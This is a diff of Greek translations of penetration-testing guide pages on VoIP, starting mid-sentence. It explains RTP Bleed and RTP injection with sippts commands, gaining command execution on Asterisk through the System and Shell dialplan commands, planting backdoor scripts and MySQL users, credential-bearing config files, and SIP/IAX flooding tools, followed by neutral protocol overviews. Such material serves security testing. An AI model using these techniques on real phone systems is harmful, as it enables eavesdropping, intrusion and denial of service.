παρακάμπτει την αυθεντικοποίηση όταν περιηγείται μέσω NAT (Network Address Translation) τειχών προστασίας. +**RTCPBleed** είναι ένα σημαντικό πρόβλημα ασφαλείας που επηρεάζει τους VoIP διακομιστές βασισμένους σε Asterisk (δημοσιεύθηκε το 2017). Η ευπάθεια επιτρέπει στο **RTP (Real Time Protocol) traffic**, το οποίο μεταφέρει τις συνομιλίες VoIP, να **παρακολουθείται και να ανακατευθύνεται από οποιονδήποτε στο Διαδίκτυο**. Αυτό συμβαίνει επειδή η RTP κίνηση παρακάμπτει την αυθεντικοποίηση όταν περιηγείται μέσω NAT (Network Address Translation) τειχών προστασίας. -Οι RTP proxies προσπαθούν να αντιμετωπίσουν τους **περιορισμούς NAT** που επηρεάζουν τα RTC συστήματα προξενώντας ροές RTP μεταξύ δύο ή περισσότερων μερών. Όταν υπάρχει NAT, το λογισμικό του RTP proxy συχνά δεν μπορεί να βασιστεί στις πληροφορίες IP και θύρας RTP που ανακτώνται μέσω σήμανσης (π.χ. SIP). Επομένως, αρκετοί RTP proxies έχουν εφαρμόσει έναν μηχανισμό όπου τέτοιο **IP και port tuplet μαθαίνεται αυτόματα**. Αυτό γίνεται συχνά με την επιθεώρηση της εισερχόμενης RTP κίνησης και την επισήμανση της πηγής IP και θύρας για οποιαδήποτε εισερχόμενη RTP κίνηση ως αυτή που θα πρέπει να απαντηθεί. Αυτός ο μηχανισμός, ο οποίος μπορεί να ονομάζεται "learning mode", **δεν χρησιμοποιεί κανενός είδους αυθεντικοποίηση**. Επομένως, **επιτιθέμενοι** μπορεί να **στείλουν RTP κίνηση στον RTP proxy** και να λάβουν την προξενημένη RTP κίνηση που προορίζεται για τον καλούντα ή τον καλούμενο μιας τρέχουσας ροής RTP. Ονομάζουμε αυτή την ευπάθεια RTP Bleed επειδή επιτρέπει στους επιτιθέμενους να λαμβάνουν ροές RTP που προορίζονται να σταλούν σε νόμιμους χρήστες. +Οι RTP proxies προσπαθούν να αντιμετωπίσουν τους **περιορισμούς NAT** που επηρεάζουν τα RTC συστήματα προξενώντας ροές RTP μεταξύ δύο ή περισσότερων μερών. Όταν υπάρχει NAT, το λογισμικό του RTP proxy συχνά δεν μπορεί να βασιστεί στις πληροφορίες IP και θύρας RTP που ανακτώνται μέσω σήμανσης (π.χ. SIP). Ως εκ τούτου, αρκετοί RTP proxies έχουν εφαρμόσει έναν μηχανισμό όπου τέτοιο **IP και port tuplet μαθαίνεται αυτόματα**. Αυτό συχνά γίνεται με την επιθεώρηση της εισερχόμενης RTP κίνησης και την επισήμανση της πηγής IP και θύρας για οποιαδήποτε εισερχόμενη RTP κίνηση ως αυτή που θα πρέπει να απαντηθεί. Αυτός ο μηχανισμός, ο οποίος μπορεί να ονομάζεται "learning mode", **δεν χρησιμοποιεί κανενός είδους αυθεντικοποίηση**. Επομένως, **επιτιθέμενοι** μπορεί να **στείλουν RTP κίνηση στον RTP proxy** και να λάβουν την προξενημένη RTP κίνηση που προορίζεται για τον καλούντα ή τον καλούμενο μιας τρέχουσας ροής RTP. Αυτή την ευπάθεια την ονομάζουμε RTP Bleed επειδή επιτρέπει στους επιτιθέμενους να λαμβάνουν ροές RTP που προορίζονται να σταλούν σε νόμιμους χρήστες. -Μια άλλη ενδιαφέρουσα συμπεριφορά των RTP proxies και των RTP stacks είναι ότι μερικές φορές, **ακόμα και αν δεν είναι ευάλωτα στο RTP Bleed**, θα **αποδέχονται, προωθούν και/ή επεξεργάζονται RTP πακέτα από οποιαδήποτε πηγή**. Επομένως, οι επιτιθέμενοι μπορούν να στείλουν RTP πακέτα που μπορεί να τους επιτρέψουν να εισάγουν τα μέσα τους αντί για το νόμιμο. Ονομάζουμε αυτή την επίθεση RTP injection επειδή επιτρέπει την εισαγωγή παράνομων RTP πακέτων σε υπάρχουσες ροές RTP. Αυτή η ευπάθεια μπορεί να βρεθεί τόσο σε RTP proxies όσο και σε τερματικά. +Μια άλλη ενδιαφέρουσα συμπεριφορά των RTP proxies και των RTP stacks είναι ότι μερικές φορές, **ακόμα και αν δεν είναι ευάλωτα στο RTP Bleed**, θα **αποδέχονται, προωθούν και/ή επεξεργάζονται RTP πακέτα από οποιαδήποτε πηγή**. Επομένως, οι επιτιθέμενοι μπορούν να στείλουν RTP πακέτα που μπορεί να τους επιτρέψουν να εισάγουν τα μέσα τους αντί για το νόμιμο. Αυτή την επίθεση την ονομάζουμε RTP injection επειδή επιτρέπει την εισαγωγή παράνομων RTP πακέτων σε υπάρχουσες ροές RTP. Αυτή η ευπάθεια μπορεί να βρεθεί τόσο σε RTP proxies όσο και σε τερματικά. Ο Asterisk και το FreePBX παραδοσιακά χρησιμοποιούν την **ρύθμιση `NAT=yes`**, η οποία επιτρέπει στην RTP κίνηση να παρακάμπτει την αυθεντικοποίηση, ενδεχομένως οδηγώντας σε καμία ή μονόδρομη ήχο σε κλήσεις. -Για περισσότερες πληροφορίες, ελέγξτε [https://www.rtpbleed.com/](https://www.rtpbleed.com/) +Για περισσότερες πληροφορίες ελέγξτε [https://www.rtpbleed.com/](https://www.rtpbleed.com/) - **`SIPPTS rtpbleed`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS rtpbleed ανιχνεύει την ευπάθεια RTP Bleed στέλνοντας ροές RTP. ```bash @@ -545,20 +546,20 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav ``` ### RCE -Στο Asterisk, με κάποιο τρόπο καταφέρνετε να **προσθέσετε κανόνες εσωτερικών γραμμών και να τους επαναφορτώσετε** (για παράδειγμα, παραβιάζοντας έναν ευάλωτο διακομιστή διαχείρισης ιστού), είναι δυνατόν να αποκτήσετε RCE χρησιμοποιώντας την **`System`** εντολή. +Στο Asterisk, με κάποιο τρόπο καταφέρνετε να **προσθέσετε κανόνες επέκτασης και να τους επαναφορτώσετε** (για παράδειγμα, παραβιάζοντας έναν ευάλωτο διακομιστή διαχείρισης ιστού), είναι δυνατόν να αποκτήσετε RCE χρησιμοποιώντας την **`System`** εντολή. ```scss same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) ``` -Υπάρχει μια εντολή που ονομάζεται **`Shell`** που μπορεί να χρησιμοποιηθεί **αντί για `System`** για την εκτέλεση εντολών συστήματος αν είναι απαραίτητο. +Υπάρχει μια εντολή που ονομάζεται **`Shell`** που μπορεί να χρησιμοποιηθεί **αντί για το `System`** για την εκτέλεση εντολών συστήματος αν είναι απαραίτητο. > [!WARNING] -> Αν ο διακομιστής **απαγορεύει τη χρήση ορισμένων χαρακτήρων** στην εντολή **`System`** (όπως στο Elastix), ελέγξτε αν ο διακομιστής web επιτρέπει να **δημιουργηθούν αρχεία με κάποιον τρόπο μέσα στο σύστημα** (όπως στο Elastix ή trixbox), και χρησιμοποιήστε το για να **δημιουργήσετε ένα backdoor script** και στη συνέχεια χρησιμοποιήστε **`System`** για να **εκτελέσετε** αυτό το **script**. +> Αν ο διακομιστής **απαγορεύει τη χρήση ορισμένων χαρακτήρων** στην εντολή **`System`** (όπως στο Elastix), ελέγξτε αν ο διακομιστής web επιτρέπει να **δημιουργηθούν αρχεία με κάποιον τρόπο μέσα στο σύστημα** (όπως στο Elastix ή trixbox), και χρησιμοποιήστε το για να **δημιουργήσετε ένα backdoor script** και στη συνέχεια χρησιμοποιήστε το **`System`** για να **εκτελέσετε** αυτό το **script**. #### Ενδιαφέροντα τοπικά αρχεία και δικαιώματα - **`sip.conf`** -> Περιέχει τον κωδικό πρόσβασης των χρηστών SIP. -- Αν ο **διακομιστής Asterisk τρέχει ως root**, μπορείτε να παραβιάσετε τον root. -- Ο **χρήστης root mysql** μπορεί **να μην έχει κανέναν κωδικό πρόσβασης**. +- Αν ο **διακομιστής Asterisk τρέχει ως root**, μπορείτε να παραβιάσετε το root. +- Ο **χρήστης mysql root** μπορεί **να μην έχει κανέναν κωδικό πρόσβασης**. - αυτό μπορεί να χρησιμοποιηθεί για να δημιουργηθεί ένας νέος χρήστης mysql ως backdoor. - **`FreePBX`** - **`amportal.conf`** -> Περιέχει τον κωδικό πρόσβασης του διαχειριστή του web panel (FreePBX). @@ -566,7 +567,7 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) - αυτό μπορεί να χρησιμοποιηθεί για να δημιουργηθεί ένας νέος χρήστης mysql ως backdoor. - **`Elastix`** - **`Elastix.conf`** -> Περιέχει αρκετούς κωδικούς πρόσβασης σε καθαρό κείμενο όπως τον κωδικό root mysql, τον κωδικό IMAPd, τον κωδικό διαχειριστή web. -- **Αρκετοί φάκελοι** θα ανήκουν στον παραβιασμένο χρήστη asterisk (αν δεν τρέχει ως root). Αυτός ο χρήστης μπορεί να διαβάσει τα προηγούμενα αρχεία και ελέγχει επίσης τη διαμόρφωση, οπότε θα μπορούσε να κάνει τον Asterisk να φορτώσει άλλες backdoored εκτελέσιμες όταν εκτελούνται. +- **Αρκετοί φάκελοι** θα ανήκουν στον παραβιασμένο χρήστη asterisk (αν δεν τρέχει ως root). Αυτός ο χρήστης μπορεί να διαβάσει τα προηγούμενα αρχεία και επίσης ελέγχει τη διαμόρφωση, οπότε θα μπορούσε να κάνει τον Asterisk να φορτώσει άλλες backdoored εκτελέσιμες όταν εκτελούνται. ### RTP Injection @@ -583,7 +584,7 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) - **`SIPPTS ping`** από [**sippts**](https://github.com/Pepelux/sippts)**: Το SIPPTS ping κάνει ένα SIP ping για να δει τον χρόνο απόκρισης του διακομιστή. - `sippts ping -i 10.10.0.10` - [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS πρωτόκολλο IAX που χρησιμοποιείται από τον Asterisk. -- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Ένα εργαλείο για την εκτέλεση πλημμυρίδας μηνυμάτων SIP/SDP INVITE μέσω UDP/IP. +- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Ένα εργαλείο για την εκτέλεση πλημμύρας μηνυμάτων SIP/SDP INVITE μέσω UDP/IP. - [**rtpflood**](https://www.kali.org/tools/rtpflood/): Στέλνει αρκετά καλά διαμορφωμένα RTP πακέτα. Είναι απαραίτητο να γνωρίζετε τις θύρες RTP που χρησιμοποιούνται (sniff πρώτα). - [**SIPp**](https://github.com/SIPp/sipp): Επιτρέπει την ανάλυση και τη δημιουργία SIP traffic. μπορεί επίσης να χρησιμοποιηθεί για DoS. - [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Το SIP μαχαίρι του Ελβετού στρατιώτη. Μπορεί επίσης να χρησιμοποιηθεί για την εκτέλεση επιθέσεων SIP. @@ -591,9 +592,9 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) ### OS Vulnerabilities -Ο ευκολότερος τρόπος για να εγκαταστήσετε ένα λογισμικό όπως ο Asterisk είναι να κατεβάσετε μια **διανομή OS** που το έχει ήδη εγκατεστημένο, όπως: **FreePBX, Elastix, Trixbox**... Το πρόβλημα με αυτά είναι ότι μόλις λειτουργήσει, οι διαχειριστές συστημάτων μπορεί **να μην τα ενημερώσουν ξανά** και οι **ευπάθειες** θα ανακαλυφθούν με την πάροδο του χρόνου. +Ο πιο εύκολος τρόπος για να εγκαταστήσετε ένα λογισμικό όπως ο Asterisk είναι να κατεβάσετε μια **διανομή OS** που το έχει ήδη εγκατεστημένο, όπως: **FreePBX, Elastix, Trixbox**... Το πρόβλημα με αυτά είναι ότι μόλις λειτουργήσει οι διαχειριστές συστημάτων μπορεί **να μην τα ενημερώσουν ξανά** και **ευπάθειες** θα ανακαλυφθούν με την πάροδο του χρόνου. -## References +## Αναφορές - [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki) - [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious) diff --git a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md index 935e06f5a..e7c90d14b 100644 --- a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md +++ b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md @@ -17,14 +17,14 @@ sip-session-initiation-protocol.md MGCP (Πρωτόκολλο Ελέγχου Πύλης Πολυμέσων) είναι ένα **πρωτόκολλο σηματοδότησης** και **ελέγχου κλήσεων** που περιγράφεται στο RFC 3435. Λειτουργεί σε μια κεντρική αρχιτεκτονική, η οποία αποτελείται από τρία κύρια στοιχεία: 1. **Πράκτορας Κλήσεων ή Ελεγκτής Πύλης Πολυμέσων (MGC)**: Η κύρια πύλη στην αρχιτεκτονική MGCP είναι υπεύθυνη για **τη διαχείριση και τον έλεγχο των πυλών πολυμέσων**. Διαχειρίζεται τις διαδικασίες εγκατάστασης, τροποποίησης και τερματισμού κλήσεων. Ο MGC επικοινωνεί με τις πύλες πολυμέσων χρησιμοποιώντας το πρωτόκολλο MGCP. -2. **Πύλες Πολυμέσων (MGs) ή Δευτερεύουσες Πύλες**: Αυτές οι συσκευές **μετατρέπουν ψηφιακά ρεύματα πολυμέσων μεταξύ διαφορετικών δικτύων**, όπως η παραδοσιακή τηλεφωνία κυκλωμάτων και τα δίκτυα IP με πακέτα. Διαχειρίζονται από τον MGC και εκτελούν εντολές που λαμβάνουν από αυτόν. Οι πύλες πολυμέσων μπορεί να περιλαμβάνουν λειτουργίες όπως η μετατροπή, η πακετοποίηση και η ακύρωση ηχούς. +2. **Πύλες Πολυμέσων (MGs) ή Δευτερεύουσες Πύλες**: Αυτές οι συσκευές **μετατρέπουν ψηφιακά ρεύματα πολυμέσων μεταξύ διαφορετικών δικτύων**, όπως η παραδοσιακή τηλεφωνία με κυκλώματα και τα δίκτυα IP με πακέτα. Διαχειρίζονται από τον MGC και εκτελούν τις εντολές που λαμβάνουν από αυτόν. Οι πύλες πολυμέσων μπορεί να περιλαμβάνουν λειτουργίες όπως η μετατροπή, η πακετοποίηση και η ακύρωση ηχούς. 3. **Πύλες Σηματοδότησης (SGs)**: Αυτές οι πύλες είναι υπεύθυνες για **τη μετατροπή μηνυμάτων σηματοδότησης μεταξύ διαφορετικών δικτύων**, επιτρέποντας την απρόσκοπτη επικοινωνία μεταξύ παραδοσιακών τηλεφωνικών συστημάτων (π.χ. SS7) και δικτύων βασισμένων σε IP (π.χ. SIP ή H.323). Οι πύλες σηματοδότησης είναι κρίσιμες για την διαλειτουργικότητα και τη διασφάλιση ότι οι πληροφορίες ελέγχου κλήσεων επικοινωνούνται σωστά μεταξύ των διαφορετικών δικτύων. Συνοπτικά, το MGCP κεντρικοποιεί τη λογική ελέγχου κλήσεων στον πράκτορα κλήσεων, απλοποιώντας τη διαχείριση των πυλών πολυμέσων και σηματοδότησης, παρέχοντας καλύτερη κλιμάκωση, αξιοπιστία και αποδοτικότητα στα τηλεπικοινωνιακά δίκτυα. ### SCCP (Πρωτόκολλο Ελέγχου Πελάτη Skinny) -Το Skinny Client Control Protocol (SCCP) είναι ένα **ιδιόκτητο πρωτόκολλο σηματοδότησης και ελέγχου κλήσεων** που ανήκει στην Cisco Systems. Χρησιμοποιείται κυρίως για την επικοινωνία μεταξύ του **Cisco Unified Communications Manager** (πρώην CallManager) και των Cisco IP τηλεφώνων ή άλλων Cisco συσκευών φωνής και βίντεο. +Το Πρωτόκολλο Ελέγχου Πελάτη Skinny (SCCP) είναι ένα **ιδιόκτητο πρωτόκολλο σηματοδότησης και ελέγχου κλήσεων** που ανήκει στην Cisco Systems. Χρησιμοποιείται κυρίως για την επικοινωνία μεταξύ του **Cisco Unified Communications Manager** (πρώην CallManager) και των Cisco IP τηλεφώνων ή άλλων Cisco συσκευών φωνής και βίντεο. Το SCCP είναι ένα ελαφρύ πρωτόκολλο που απλοποιεί την επικοινωνία μεταξύ του διακομιστή ελέγχου κλήσεων και των συσκευών τερματισμού. Αναφέρεται ως "Skinny" λόγω του μινιμαλιστικού σχεδιασμού του και των μειωμένων απαιτήσεων εύρους ζώνης σε σύγκριση με άλλα πρωτόκολλα VoIP όπως το H.323 ή το SIP. @@ -32,32 +32,32 @@ MGCP (Πρωτόκολλο Ελέγχου Πύλης Πολυμέσων) είν 1. **Διακομιστής Ελέγχου Κλήσεων**: Αυτός ο διακομιστής, συνήθως ένας Cisco Unified Communications Manager, διαχειρίζεται τις διαδικασίες εγκατάστασης, τροποποίησης και τερματισμού κλήσεων, καθώς και άλλες τηλεφωνικές δυνατότητες όπως η προώθηση κλήσεων, η μεταφορά κλήσεων και η αναμονή κλήσεων. 2. **Τερματικά SCCP**: Αυτές είναι συσκευές όπως IP τηλέφωνα, μονάδες τηλεδιάσκεψης ή άλλες Cisco συσκευές φωνής και βίντεο που χρησιμοποιούν SCCP για να επικοινωνούν με τον διακομιστή ελέγχου κλήσεων. Εγγράφονται στον διακομιστή, στέλνουν και λαμβάνουν μηνύματα σηματοδότησης και ακολουθούν τις οδηγίες που παρέχονται από τον διακομιστή ελέγχου κλήσεων για τη διαχείριση κλήσεων. -3. **Πύλες**: Αυτές οι συσκευές, όπως οι πύλες φωνής ή οι πύλες πολυμέσων, είναι υπεύθυνες για τη μετατροπή ρευμάτων πολυμέσων μεταξύ διαφορετικών δικτύων, όπως η παραδοσιακή τηλεφωνία κυκλωμάτων και τα δίκτυα IP με πακέτα. Μπορεί επίσης να περιλαμβάνουν πρόσθετη λειτουργικότητα, όπως η μετατροπή ή η ακύρωση ηχούς. +3. **Πύλες**: Αυτές οι συσκευές, όπως οι πύλες φωνής ή οι πύλες πολυμέσων, είναι υπεύθυνες για τη μετατροπή ρευμάτων πολυμέσων μεταξύ διαφορετικών δικτύων, όπως η παραδοσιακή τηλεφωνία με κυκλώματα και τα δίκτυα IP με πακέτα. Μπορεί επίσης να περιλαμβάνουν πρόσθετη λειτουργικότητα, όπως η μετατροπή ή η ακύρωση ηχούς. -Το SCCP προσφέρει μια απλή και αποδοτική μέθοδο επικοινωνίας μεταξύ των διακομιστών ελέγχου κλήσεων της Cisco και των συσκευών τερματισμού. Ωστόσο, αξίζει να σημειωθεί ότι **το SCCP είναι ένα ιδιόκτητο πρωτόκολλο**, το οποίο μπορεί να περιορίσει τη διαλειτουργικότητα με μη Cisco συστήματα. Σε τέτοιες περιπτώσεις, άλλα πρότυπα VoIP όπως το SIP μπορεί να είναι πιο κατάλληλα. +Το SCCP προσφέρει μια απλή και αποδοτική μέθοδο επικοινωνίας μεταξύ των διακομιστών ελέγχου κλήσεων της Cisco και των συσκευών τερματισμού. Ωστόσο, αξίζει να σημειωθεί ότι **το SCCP είναι ένα ιδιόκτητο πρωτόκολλο**, το οποίο μπορεί να περιορίσει τη διαλειτουργικότητα με μη συστήματα της Cisco. Σε τέτοιες περιπτώσεις, άλλα πρότυπα VoIP όπως το SIP μπορεί να είναι πιο κατάλληλα. ### H.323 -Το H.323 είναι μια **σουίτα πρωτοκόλλων** για πολυμεσική επικοινωνία, συμπεριλαμβανομένων φωνής, βίντεο και συνεδριάσεων δεδομένων μέσω δικτύων με πακέτα, όπως τα δίκτυα βασισμένα σε IP. Αναπτύχθηκε από την **Διεθνή Ένωση Τηλεπικοινωνιών** (ITU-T) και παρέχει ένα ολοκληρωμένο πλαίσιο για τη διαχείριση πολυμεσικών συνεδριών επικοινωνίας. +Το H.323 είναι μια **σουίτα πρωτοκόλλων** για πολυμεσική επικοινωνία, συμπεριλαμβανομένης της φωνής, του βίντεο και της διάσκεψης δεδομένων μέσω δικτύων με πακέτα, όπως τα δίκτυα βασισμένα σε IP. Αναπτύχθηκε από την **Διεθνή Ένωση Τηλεπικοινωνιών** (ITU-T) και παρέχει ένα ολοκληρωμένο πλαίσιο για τη διαχείριση συνεδριών πολυμεσικής επικοινωνίας. Ορισμένα βασικά στοιχεία της σουίτας H.323 περιλαμβάνουν: -1. **Τερματικά**: Αυτές είναι συσκευές τερματισμού, όπως IP τηλέφωνα, συστήματα τηλεδιάσκεψης ή λογισμικά εφαρμογών, που υποστηρίζουν το H.323 και μπορούν να συμμετάσχουν σε πολυμεσικές συνεδρίες επικοινωνίας. -2. **Πύλες**: Αυτές οι συσκευές μετατρέπουν ρεύματα πολυμέσων μεταξύ διαφορετικών δικτύων, όπως η παραδοσιακή τηλεφωνία κυκλωμάτων και τα δίκτυα IP με πακέτα, επιτρέποντας τη διαλειτουργικότητα μεταξύ H.323 και άλλων συστημάτων επικοινωνίας. Μπορεί επίσης να περιλαμβάνουν πρόσθετη λειτουργικότητα, όπως η μετατροπή ή η ακύρωση ηχούς. -3. **Ελεγκτές Πύλης**: Αυτά είναι προαιρετικά στοιχεία που παρέχουν υπηρεσίες ελέγχου και διαχείρισης κλήσεων σε ένα δίκτυο H.323. Εκτελούν λειτουργίες όπως η μετάφραση διευθύνσεων, η διαχείριση εύρους ζώνης και ο έλεγχος εισόδου, βοηθώντας στη διαχείριση και βελτιστοποίηση των πόρων του δικτύου. -4. **Μονάδες Ελέγχου Πολλαπλών Σημείων (MCUs)**: Αυτές οι συσκευές διευκολύνουν τις πολυμερείς συνεδρίες διαχειριζόμενες και αναμειγνύοντας ρεύματα πολυμέσων από πολλαπλά τερματικά. Οι MCUs επιτρέπουν δυνατότητες όπως ο έλεγχος διάταξης βίντεο, η εναλλαγή με ενεργοποίηση φωνής και η συνεχής παρουσία, καθιστώντας δυνατή τη φιλοξενία μεγάλων συνεδριών με πολλούς συμμετέχοντες. +1. **Τερματικά**: Αυτές είναι συσκευές τερματισμού, όπως IP τηλέφωνα, συστήματα τηλεδιάσκεψης ή λογισμικά εφαρμογών, που υποστηρίζουν το H.323 και μπορούν να συμμετάσχουν σε συνεδρίες πολυμεσικής επικοινωνίας. +2. **Πύλες**: Αυτές οι συσκευές μετατρέπουν ρεύματα πολυμέσων μεταξύ διαφορετικών δικτύων, όπως η παραδοσιακή τηλεφωνία με κυκλώματα και τα δίκτυα IP με πακέτα, επιτρέποντας τη διαλειτουργικότητα μεταξύ του H.323 και άλλων συστημάτων επικοινωνίας. Μπορεί επίσης να περιλαμβάνουν πρόσθετη λειτουργικότητα, όπως η μετατροπή ή η ακύρωση ηχούς. +3. **Φύλακες**: Αυτά είναι προαιρετικά στοιχεία που παρέχουν υπηρεσίες ελέγχου και διαχείρισης κλήσεων σε ένα δίκτυο H.323. Εκτελούν λειτουργίες όπως η μετάφραση διευθύνσεων, η διαχείριση εύρους ζώνης και ο έλεγχος εισόδου, βοηθώντας στη διαχείριση και βελτιστοποίηση των πόρων του δικτύου. +4. **Μονάδες Ελέγχου Πολλαπλών Σημείων (MCUs)**: Αυτές οι συσκευές διευκολύνουν τις πολλαπλές διασκέψεις διαχειριζόμενες και αναμειγνύοντας ρεύματα πολυμέσων από πολλαπλά τερματικά. Οι MCUs επιτρέπουν δυνατότητες όπως ο έλεγχος διάταξης βίντεο, η εναλλαγή με ενεργοποίηση φωνής και η συνεχής παρουσία, καθιστώντας δυνατή τη φιλοξενία μεγάλων διασκέψεων με πολλούς συμμετέχοντες. -Το H.323 υποστηρίζει μια σειρά από κωδικοποιητές ήχου και βίντεο, καθώς και άλλες συμπληρωματικές υπηρεσίες όπως η προώθηση κλήσεων, η μεταφορά κλήσεων, η αναμονή κλήσεων και η αναμονή κλήσεων. Παρά την ευρεία υιοθέτησή του στις πρώτες ημέρες του VoIP, το H.323 έχει σταδιακά αντικατασταθεί από πιο σύγχρονα και ευέλικτα πρωτόκολλα όπως το **Πρωτόκολλο Έναρξης Συνεδρίας (SIP)**, το οποίο προσφέρει καλύτερη διαλειτουργικότητα και ευκολότερη υλοποίηση. Ωστόσο, το H.323 παραμένει σε χρήση σε πολλά κληρονομικά συστήματα και συνεχίζει να υποστηρίζεται από διάφορους προμηθευτές εξοπλισμού. +Το H.323 υποστηρίζει μια σειρά από κωδικοποιητές ήχου και βίντεο, καθώς και άλλες συμπληρωματικές υπηρεσίες όπως η προώθηση κλήσεων, η μεταφορά κλήσεων, η αναμονή κλήσεων και η αναμονή κλήσεων. Παρά την ευρεία υιοθέτησή του στις πρώτες ημέρες του VoIP, το H.323 έχει σταδιακά αντικατασταθεί από πιο σύγχρονα και ευέλικτα πρωτόκολλα όπως το **Πρωτόκολλο Έναρξης Συνεδρίας (SIP)**, το οποίο προσφέρει καλύτερη διαλειτουργικότητα και ευκολότερη υλοποίηση. Ωστόσο, το H.323 παραμένει σε χρήση σε πολλά κληρονομημένα συστήματα και συνεχίζει να υποστηρίζεται από διάφορους προμηθευτές εξοπλισμού. -### IAX (Inter Asterisk eXchange) +### IAX (Διασύνδεση Asterisk) IAX (Inter-Asterisk eXchange) είναι ένα **πρωτόκολλο σηματοδότησης και ελέγχου κλήσεων** που χρησιμοποιείται κυρίως για την επικοινωνία μεταξύ διακομιστών Asterisk PBX (Ιδιωτική Κεντρική Σταθμός) και άλλων συσκευών VoIP. Αναπτύχθηκε από τον Mark Spencer, τον δημιουργό του λογισμικού Asterisk open-source PBX, ως εναλλακτική λύση σε άλλα πρωτόκολλα VoIP όπως το SIP και το H.323. Το IAX είναι γνωστό για την **απλότητά του, την αποδοτικότητα και την ευκολία υλοποίησης**. Ορισμένα βασικά χαρακτηριστικά του IAX περιλαμβάνουν: -1. **Μοναδική Θύρα UDP**: Το IAX χρησιμοποιεί μια μοναδική θύρα UDP (4569) για τη σηματοδότηση και την κυκλοφορία πολυμέσων, γεγονός που απλοποιεί την διέλευση τείχους προστασίας και NAT, διευκολύνοντας την ανάπτυξή του σε διάφορα περιβάλλοντα δικτύου. +1. **Μοναδική Θύρα UDP**: Το IAX χρησιμοποιεί μια μοναδική θύρα UDP (4569) για τη σηματοδότηση και την κυκλοφορία πολυμέσων, γεγονός που απλοποιεί την παρακολούθηση τείχους προστασίας και NAT, διευκολύνοντας την ανάπτυξή του σε διάφορα περιβάλλοντα δικτύου. 2. **Δυαδικό Πρωτόκολλο**: Σε αντίθεση με τα πρωτόκολλα βασισμένα σε κείμενο όπως το SIP, το IAX είναι ένα δυαδικό πρωτόκολλο, το οποίο μειώνει την κατανάλωση εύρους ζώνης και το καθιστά πιο αποδοτικό για τη μετάδοση δεδομένων σηματοδότησης και πολυμέσων. -3. **Trunking**: Το IAX υποστηρίζει το trunking, το οποίο επιτρέπει σε πολλές κλήσεις να συνδυάζονται σε μια μοναδική σύνδεση δικτύου, μειώνοντας την υπερβολική φόρτωση και βελτιώνοντας τη χρησιμοποίηση του εύρους ζώνης. +3. **Trunking**: Το IAX υποστηρίζει το trunking, το οποίο επιτρέπει σε πολλές κλήσεις να συνδυάζονται σε μια ενιαία σύνδεση δικτύου, μειώνοντας την υπερβολή και βελτιώνοντας τη χρησιμοποίηση του εύρους ζώνης. 4. **Εγγενής Κρυπτογράφηση**: Το IAX έχει ενσωματωμένη υποστήριξη για κρυπτογράφηση, χρησιμοποιώντας μεθόδους όπως το RSA για την ανταλλαγή κλειδιών και το AES για την κρυπτογράφηση πολυμέσων, παρέχοντας ασφαλή επικοινωνία μεταξύ των τερματικών. 5. **Επικοινωνία Peer-to-Peer**: Το IAX μπορεί να χρησιμοποιηθεί για άμεση επικοινωνία μεταξύ τερματικών χωρίς την ανάγκη κεντρικού διακομιστή, επιτρέποντας απλούστερη και πιο αποδοτική δρομολόγηση κλήσεων. @@ -67,30 +67,30 @@ IAX (Inter-Asterisk eXchange) είναι ένα **πρωτόκολλο σημα ### SDP (Πρωτόκολλο Περιγραφής Συνεδρίας) -SDP (Πρωτόκολλο Περιγραφής Συνεδρίας) είναι μια **μορφή βασισμένη σε κείμενο** που χρησιμοποιείται για να περιγράψει τα χαρακτηριστικά πολυμεσικών συνεδριών, όπως φωνής, βίντεο ή τηλεδιάσκεψης, μέσω δικτύων IP. Αναπτύχθηκε από την **Internet Engineering Task Force (IETF)** και ορίζεται στο **RFC 4566**. Το SDP δεν χειρίζεται τη μετάδοση των πραγματικών πολυμέσων ή την εγκαθίδρυση συνεδρίας, αλλά χρησιμοποιείται σε συνδυασμό με άλλα πρωτόκολλα σηματοδότησης, όπως το **SIP (Πρωτόκολλο Έναρξης Συνεδρίας)**, για να διαπραγματευτεί και να ανταλλάξει πληροφορίες σχετικά με τα ρεύματα πολυμέσων και τα χαρακτηριστικά τους. +SDP (Πρωτόκολλο Περιγραφής Συνεδρίας) είναι μια **μορφή βασισμένη σε κείμενο** που χρησιμοποιείται για να περιγράψει τα χαρακτηριστικά των πολυμεσικών συνεδριών, όπως η φωνή, το βίντεο ή η διάσκεψη δεδομένων, μέσω δικτύων IP. Αναπτύχθηκε από την **Ομάδα Εργασίας Μηχανικών Διαδικτύου (IETF)** και ορίζεται στο **RFC 4566**. Το SDP δεν χειρίζεται τη μετάδοση των πραγματικών πολυμέσων ή την εγκαθίδρυση συνεδρίας, αλλά χρησιμοποιείται σε συνδυασμό με άλλα πρωτόκολλα σηματοδότησης, όπως το **SIP (Πρωτόκολλο Έναρξης Συνεδρίας)**, για να διαπραγματευτεί και να ανταλλάξει πληροφορίες σχετικά με τα ρεύματα πολυμέσων και τα χαρακτηριστικά τους. Ορισμένα βασικά στοιχεία του SDP περιλαμβάνουν: 1. **Πληροφορίες Συνεδρίας**: Το SDP περιγράφει τις λεπτομέρειες μιας πολυμεσικής συνεδρίας, συμπεριλαμβανομένου του ονόματος της συνεδρίας, της περιγραφής της συνεδρίας, της ώρας έναρξης και της ώρας λήξης. -2. **Ρεύματα Πολυμέσων**: Το SDP ορίζει τα χαρακτηριστικά των ρευμάτων πολυμέσων, όπως ο τύπος πολυμέσων (ήχος, βίντεο ή κείμενο), το πρωτόκολλο μεταφοράς (π.χ. RTP ή SRTP) και τη μορφή πολυμέσων (π.χ. πληροφορίες κωδικοποιητή). +2. **Ρεύματα Πολυμέσων**: Το SDP ορίζει τα 